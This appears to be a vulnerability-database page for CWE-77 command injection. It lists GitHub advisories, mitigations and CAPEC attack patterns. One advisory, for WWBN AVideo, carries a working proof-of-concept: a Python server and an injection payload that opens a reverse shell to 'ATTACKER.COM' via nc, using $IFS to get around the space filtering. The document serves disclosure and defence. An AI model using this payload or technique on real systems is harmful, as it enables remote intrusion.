CWE-77
Allowed-with-ReviewImproper Neutralization of Special Elements used in a Command ('Command Injection')
Abstraction: Class · Status: Draft
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
5383 vulnerabilities reference this CWE, most recent first.
GHSA-2M6V-MGGF-5F9G
Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-06-29 00:00Microsoft Jet Red Database Engine and Access Connectivity Engine Remote Code Execution Vulnerability
{
"affected": [],
"aliases": [
"CVE-2021-28455"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-11T19:15:00Z",
"severity": "HIGH"
},
"details": "Microsoft Jet Red Database Engine and Access Connectivity Engine Remote Code Execution Vulnerability",
"id": "GHSA-2m6v-mggf-5f9g",
"modified": "2022-06-29T00:00:49Z",
"published": "2022-05-24T19:02:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28455"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28455"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2M9J-F7HM-696Q
Vulnerability from github – Published: 2022-05-24 17:39 – Updated: 2022-05-24 17:39There is command injection when ddns processes the hostname, which causes the administrator user to obtain the root privilege of the router. This affects Xiaomi router AX1800rom version < 1.0.336 and Xiaomi route RM1800 root version < 1.0.26.
{
"affected": [],
"aliases": [
"CVE-2020-14102"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-13T23:15:00Z",
"severity": "HIGH"
},
"details": "There is command injection when ddns processes the hostname, which causes the administrator user to obtain the root privilege of the router. This affects Xiaomi router AX1800rom version \u003c 1.0.336 and Xiaomi route RM1800 root version \u003c 1.0.26.",
"id": "GHSA-2m9j-f7hm-696q",
"modified": "2022-05-24T17:39:14Z",
"published": "2022-05-24T17:39:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-14102"
},
{
"type": "WEB",
"url": "https://privacy.mi.com/trust#/security/vulnerability-management/vulnerability-announcement/detail?id=23\u0026locale=en"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2MFW-8H6X-JGC4
Vulnerability from github – Published: 2024-02-21 21:30 – Updated: 2024-08-29 21:31Command Injection vulnerability in D-Link Dir 816 with firmware version DIR-816_A2_v1.10CNB04 allows attackers to run arbitrary commands via the urlAdd parameter.
{
"affected": [],
"aliases": [
"CVE-2023-24331"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-21T21:15:08Z",
"severity": "CRITICAL"
},
"details": "Command Injection vulnerability in D-Link Dir 816 with firmware version DIR-816_A2_v1.10CNB04 allows attackers to run arbitrary commands via the urlAdd parameter.",
"id": "GHSA-2mfw-8h6x-jgc4",
"modified": "2024-08-29T21:31:01Z",
"published": "2024-02-21T21:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24331"
},
{
"type": "WEB",
"url": "https://github.com/caoyebo/CVE/tree/main/Dlink%20816%20-%20CVE-2023-24331"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2MHH-27V7-3VCX
Vulnerability from github – Published: 2023-05-12 20:20 – Updated: 2023-05-12 20:20WWBN AVideo Authenticated RCE
A command injection vulnerability exists at plugin/CloneSite/cloneClient.json.php which allows Remote Code Execution if you CloneSite Plugin. This is a bypass to the fix for CVE-2023-30854 which affects WWBN Avideo up to version 12.3
Vulnerable Code
/plugin/CloneSite/cloneClient.json.php
$json->sqlFile = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->sqlFile));
$json->videoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->videoFiles));
$json->photoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->photoFiles));
// get dump file
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);
The $objClone->cloneSiteURL is not properly sanitized.
Exploit Proof-of-Concept
avidexploit.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import time
hostName = "localhost"
serverPort = 8080
class MyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "application/json")
self.end_headers()
self.wfile.write(bytes("{\"error\":false,\"msg\":\"\",\"url\":\"https:\/\/attacker.com/\/\",\"key\":\"2d6db3c09e41a9c27dbc72aecc4a6fc0\",\"useRsync\":1,\"videosDir\":\"\/var\/www\/html\/demo.avideo.com\/videos\/\",\"sqlFile\":\"Clone_mysqlDump_644ab263e62d6.sql\",\"videoFiles\":[],\"photoFiles\":[]}", "utf-8"))
if __name__ == "__main__":
webServer = HTTPServer((hostName, serverPort), MyServer)
print("Server started http://%s:%s" % (hostName, serverPort))
try:
webServer.serve_forever()
except KeyboardInterrupt:
pass
webServer.server_close()
print("Server stopped.")
Run in command line
$ python3 avidexploit.py &
$ ngrok tcp 8080 # optional if not running in VPS
- Then get your public facing IP and Port. Enter a cloneSiteURL like the following then hit clone to achieve command injection
http://2.tcp.ngrok.io:14599/;nc$IFS'ATTACKER.COM'$IFS'5555'$IFS-e$IFS/bin/sh;#
It is important to not use white spaces for the exploit to work. Replace whitespace with $IFS when adding arguments to your RCE
Credits
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "12.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-32073"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2023-05-12T20:20:39Z",
"nvd_published_at": "2023-05-12T14:15:10Z",
"severity": "HIGH"
},
"details": "# WWBN AVideo Authenticated RCE \n\nA command injection vulnerability exists at `plugin/CloneSite/cloneClient.json.php` which allows Remote Code Execution if you CloneSite Plugin. This is a bypass to the fix for [CVE-2023-30854](https://cve.report/CVE-2023-30854) which affects WWBN Avideo up to version 12.3\n\n## Vulnerable Code\n\n/plugin/CloneSite/cloneClient.json.php\n\n```php\n$json-\u003esqlFile = escapeshellarg(preg_replace(\u0027/[^a-z0-9_.-]/i\u0027, \u0027\u0027, $json-\u003esqlFile));\n$json-\u003evideoFiles = escapeshellarg(preg_replace(\u0027/[^a-z0-9_.-]/i\u0027, \u0027\u0027, $json-\u003evideoFiles));\n$json-\u003ephotoFiles = escapeshellarg(preg_replace(\u0027/[^a-z0-9_.-]/i\u0027, \u0027\u0027, $json-\u003ephotoFiles));\n\n// get dump file\n$cmd = \"wget -O {$clonesDir}{$json-\u003esqlFile} {$objClone-\u003ecloneSiteURL}videos/cache/clones/{$json-\u003esqlFile}\";\n$log-\u003eadd(\"Clone (2 of {$totalSteps}): Geting MySQL Dump file\");\nexec($cmd . \" 2\u003e\u00261\", $output, $return_val);\n```\n\nThe `$objClone-\u003ecloneSiteURL` is not properly sanitized.\n## Exploit Proof-of-Concept\n\navidexploit.py\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport time\n\nhostName = \"localhost\"\nserverPort = 8080\n\nclass MyServer(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-type\", \"application/json\")\n self.end_headers()\n self.wfile.write(bytes(\"{\\\"error\\\":false,\\\"msg\\\":\\\"\\\",\\\"url\\\":\\\"https:\\/\\/attacker.com/\\/\\\",\\\"key\\\":\\\"2d6db3c09e41a9c27dbc72aecc4a6fc0\\\",\\\"useRsync\\\":1,\\\"videosDir\\\":\\\"\\/var\\/www\\/html\\/demo.avideo.com\\/videos\\/\\\",\\\"sqlFile\\\":\\\"Clone_mysqlDump_644ab263e62d6.sql\\\",\\\"videoFiles\\\":[],\\\"photoFiles\\\":[]}\", \"utf-8\"))\n\nif __name__ == \"__main__\": \n webServer = HTTPServer((hostName, serverPort), MyServer)\n print(\"Server started http://%s:%s\" % (hostName, serverPort))\n\n try:\n webServer.serve_forever()\n except KeyboardInterrupt:\n pass\n\n webServer.server_close()\n print(\"Server stopped.\")\n```\n\nRun in command line\n```bash\n$ python3 avidexploit.py \u0026\n$ ngrok tcp 8080 # optional if not running in VPS\n```\n- Then get your public facing IP and Port. Enter a cloneSiteURL like the following then hit clone to achieve command injection\n```bash\nhttp://2.tcp.ngrok.io:14599/;nc$IFS\u0027ATTACKER.COM\u0027$IFS\u00275555\u0027$IFS-e$IFS/bin/sh;#\n```\n\n**It is important to not use white spaces for the exploit to work. Replace whitespace with `$IFS` when adding arguments to your RCE**\n\n\n\n\n## Credits\n\n- JM Sanchez\n- [https://www.linkedin.com/in/juanmarcosanchez/](https://www.linkedin.com/in/juanmarcosanchez/)",
"id": "GHSA-2mhh-27v7-3vcx",
"modified": "2023-05-12T20:20:39Z",
"published": "2023-05-12T20:20:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-2mhh-27v7-3vcx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32073"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/1df4af01f80d56ff2c4c43b89d0bac151e7fb6e3"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "WWBN AVideo command injection vulnerability"
}
GHSA-2MJ7-MX8W-PPW2
Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-05-24 19:03The open_generic_xdg_mime function in xdg-open in xdg-utils 1.1.0 rc1 in Debian, when using dash, does not properly handle local variables, which allows remote attackers to execute arbitrary commands via a crafted file.
{
"affected": [],
"aliases": [
"CVE-2015-1877"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-02T17:15:00Z",
"severity": "HIGH"
},
"details": "The open_generic_xdg_mime function in xdg-open in xdg-utils 1.1.0 rc1 in Debian, when using dash, does not properly handle local variables, which allows remote attackers to execute arbitrary commands via a crafted file.",
"id": "GHSA-2mj7-mx8w-ppw2",
"modified": "2022-05-24T19:03:51Z",
"published": "2022-05-24T19:03:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-1877"
},
{
"type": "WEB",
"url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=777722"
},
{
"type": "WEB",
"url": "https://bugs.freedesktop.org/show_bug.cgi?id=89129"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2015/dsa-3165"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2015/02/18/7"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2015/02/18/9"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/72675"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2MJH-2X66-3P9P
Vulnerability from github – Published: 2022-05-24 19:13 – Updated: 2022-05-24 19:13Command Injection in PPGo_Jobs v2.8.0 allows remote attackers to execute arbitrary code via the 'AjaxRun()' function.
{
"affected": [],
"aliases": [
"CVE-2020-26772"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-08T21:15:00Z",
"severity": "CRITICAL"
},
"details": "Command Injection in PPGo_Jobs v2.8.0 allows remote attackers to execute arbitrary code via the \u0027AjaxRun()\u0027 function.",
"id": "GHSA-2mjh-2x66-3p9p",
"modified": "2022-05-24T19:13:18Z",
"published": "2022-05-24T19:13:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26772"
},
{
"type": "WEB",
"url": "https://github.com/george518/PPGo_Job/issues/56"
},
{
"type": "WEB",
"url": "https://blog.csdn.net/qq_33020901/article/details/108938473"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2MPC-F7W9-HPMW
Vulnerability from github – Published: 2025-12-28 15:30 – Updated: 2025-12-28 15:30A security vulnerability has been detected in TRENDnet TEW-800MB 1.0.1.0. Affected is the function do_setWizard_asp of the file /goform/wizardset of the component Management Interface. The manipulation of the argument WizardConfigured leads to command injection. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-15136"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-28T13:15:39Z",
"severity": "HIGH"
},
"details": "A security vulnerability has been detected in TRENDnet TEW-800MB 1.0.1.0. Affected is the function do_setWizard_asp of the file /goform/wizardset of the component Management Interface. The manipulation of the argument WizardConfigured leads to command injection. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-2mpc-f7w9-hpmw",
"modified": "2025-12-28T15:30:26Z",
"published": "2025-12-28T15:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15136"
},
{
"type": "WEB",
"url": "https://pentagonal-time-3a7.notion.site/TRENDnet-TEW-800MB-2c7e5dd4c5a58067bc81e530bf3191c0"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.338514"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.338514"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.714042"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2MQ5-VGX2-CQ4H
Vulnerability from github – Published: 2025-05-08 00:31 – Updated: 2025-05-08 00:31When running in Appliance mode, a command injection vulnerability exists in an undisclosed iControl REST and BIG-IP TMOS Shell (tmsh) command which may allow an authenticated attacker with administrator role privileges to execute arbitrary system commands. A successful exploit can allow the attacker to cross a security boundary. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
{
"affected": [],
"aliases": [
"CVE-2025-31644"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-07T22:15:18Z",
"severity": "HIGH"
},
"details": "When running in Appliance mode, a command injection vulnerability exists in an undisclosed iControl REST and BIG-IP TMOS Shell (tmsh) command which may allow an authenticated attacker with administrator role privileges to execute arbitrary system commands. A successful exploit can allow the attacker to cross a security boundary.\u00a0\u00a0Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.",
"id": "GHSA-2mq5-vgx2-cq4h",
"modified": "2025-05-08T00:31:11Z",
"published": "2025-05-08T00:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31644"
},
{
"type": "WEB",
"url": "https://my.f5.com/manage/s/article/K000148591"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2MQQ-6V49-G869
Vulnerability from github – Published: 2024-09-25 03:30 – Updated: 2024-09-25 03:30Command injection vulnerabilities in the underlying CLI service could lead to unauthenticated remote code execution by sending specially crafted packets destined to the PAPI (Aruba's Access Point management protocol) UDP port (8211). Successful exploitation of these vulnerabilities results in the ability to execute arbitrary code as a privileged user on the underlying operating system.
{
"affected": [],
"aliases": [
"CVE-2024-42506"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-25T01:15:42Z",
"severity": "CRITICAL"
},
"details": "Command injection vulnerabilities in the underlying CLI service could lead to unauthenticated remote code execution by sending specially crafted packets destined to the PAPI (Aruba\u0027s Access Point management protocol) UDP port (8211). Successful exploitation of these vulnerabilities results in the ability to execute arbitrary code as a privileged user on the underlying operating system.",
"id": "GHSA-2mqq-6v49-g869",
"modified": "2024-09-25T03:30:35Z",
"published": "2024-09-25T03:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42506"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04712en_us\u0026docLocale=en_US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2MXQ-9VVH-J4JV
Vulnerability from github – Published: 2025-01-10 18:31 – Updated: 2025-01-14 18:31Linksys E7350 1.1.00.032 was discovered to contain a command injection vulnerability via the ifname parameter in the apcli_cancel_wps function.
{
"affected": [],
"aliases": [
"CVE-2024-57222"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-10T18:15:24Z",
"severity": "MODERATE"
},
"details": "Linksys E7350 1.1.00.032 was discovered to contain a command injection vulnerability via the ifname parameter in the apcli_cancel_wps function.",
"id": "GHSA-2mxq-9vvh-j4jv",
"modified": "2025-01-14T18:31:55Z",
"published": "2025-01-10T18:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57222"
},
{
"type": "WEB",
"url": "https://github.com/yanggao017/vuln/blob/main/Linksys/E7350/CI_5_apcli_cancel_wps/README.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation
If possible, ensure that all external commands called from the program are statically created.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.
Mitigation
Assign permissions that prevent the user from accessing/opening privileged files.
CAPEC-136: LDAP Injection
An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-183: IMAP/SMTP Command Injection
An adversary exploits weaknesses in input validation on web-mail servers to execute commands on the IMAP/SMTP server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back-end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands.
CAPEC-248: Command Injection
An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.
CAPEC-40: Manipulating Writeable Terminal Devices
This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.